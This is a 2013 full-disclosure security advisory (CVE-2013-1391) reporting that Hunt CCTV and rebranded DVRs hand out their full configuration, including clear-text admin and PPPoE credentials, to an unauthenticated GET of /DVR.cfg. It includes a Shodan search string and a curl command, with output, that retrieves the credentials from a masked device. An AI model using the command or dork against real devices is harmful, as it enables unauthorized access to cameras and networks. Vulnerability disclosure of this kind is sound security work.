full-disclosure - Hunt CCTV (and generics brands) Insufficient Authentication

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Message-ID: <CAHsqx4oeDfCE_ndDSZWM9KQr0Q+t4mLUEu+KTULe4=N4EWpDGw@mail.gmail.com>
Date: Mon, 28 Jan 2013 08:41:31 +0100
From: "A. Ramos" <aramosf@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Hunt CCTV (and generics brands) Insufficient
	Authentication

Hunt CCTV (and generics brands) Insufficient Authentication
January 17, 2013 - A. Ramos <aramosf @ gmail . com>

-- CVE ID:
CVE-2013-1391 [reserved]

-- Affected Vendors:
Hunt CCTV (http://www.huntcctv.com/)
** generic brands from Hunt **
Capture CCTV (http://www.capturecctv.ca/)
NoVus CCTV (http://www.novuscctv.com/)
Well-Vision Inc (http://well-vision.com/)

-- Affected Models:
DVR-04 / DVR-04CH (HuntCCTV)
DVR-04NC (HuntCCTV)
DVR-08 / DVR-08CH (HuntCCTV)
DVR-08NC (HuntCCTV)
DVR-16 / DVR-16CH (HuntCCTV)
CDR 0410VE (CaptureCCTV-HuntCCTV)
CDR 0820VDE (CaptureCCTV-HuntCCTV)
DR6-704A4H (HuntCCTV)
DR6-708A4H (HuntCCTV)
DR6-7316A4H (HuntCCTV)
DR6-7316A4HL (HuntCCTV)
HDR-04KD (unknown-HuntCCTV)
HDR-08KD (unknown-HuntCCTV)
HV-04RD PRO (Hachi-HuntCCTV)
HV-08RD PRO (Hachi-HuntCCTV)
NV-DVR1204 (NovusSec)
NV-DVR1208 (NovusSec)
NV-DVR1216 (NovusSec)
TW-DVR604 (Well Vision INC Solutions-HuntCCTV)
TW-DVR616 (Well Vision INC Solutions-HuntCCTV)

Shodan dork: Basic realm="DVR" server: httpd -mini
Shodan results: 46890
Vulnerable: >70%

-- Vulnerability Details:
You can get the entire backup config with simple GET. No authentication
required.
All information are in clear text: admin panel, ddns config, ppoe
credentials, misc.

Example:

[aramosf@...ouria data]$ curl -v http://x.x.x.x/DVR.cfg | strings |grep -i
USER
*   Trying x.x.x.x... connected
 * Connected to x.x.x.x (x.x.x.x) port 80 (#0)
> GET /DVR.cfg HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/
3.13.1.0 zlib/1.2.3 libidn/1.18 libssh2/1.2.2
> Host: x.x.x.x
> Accept: */*
>
< HTTP/1.0 200 Ok
< Server: httpd
< Date: Fri, 17 Jan 2013 05:47:02 GMT
< Cache-Control: no-cache
< Pragma: no-cache
< Expires: 0
< Connection: close
< Content-Type: application/octet-stream
<
USER1_USERNAME=iam
USER1_PASSWORD=sexy

Vulnerable firmware (127 different ones):
  - 1.1.10 to 1.1.92
  - 1.47 to 1.51
  - 2.0.0 to 2.1.93
  - 3.0.04 to 3.1.92

-- Disclosure Timeline:
2011-09-?? - Vulnerability discovered
2012-12-20 - Published in the book "Hacker Epico" (
http://www.hackerepico.com)
2013-01-15 - CVE Assigned
2013-01-20 - Vulnerability reported to vendor
2013-01-24 - Vulnerability reported to GDT (Spain)
2013-01-28 - Public disclosure:
http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html

-- 
Alejandro Ramos
www.securitybydefault.com

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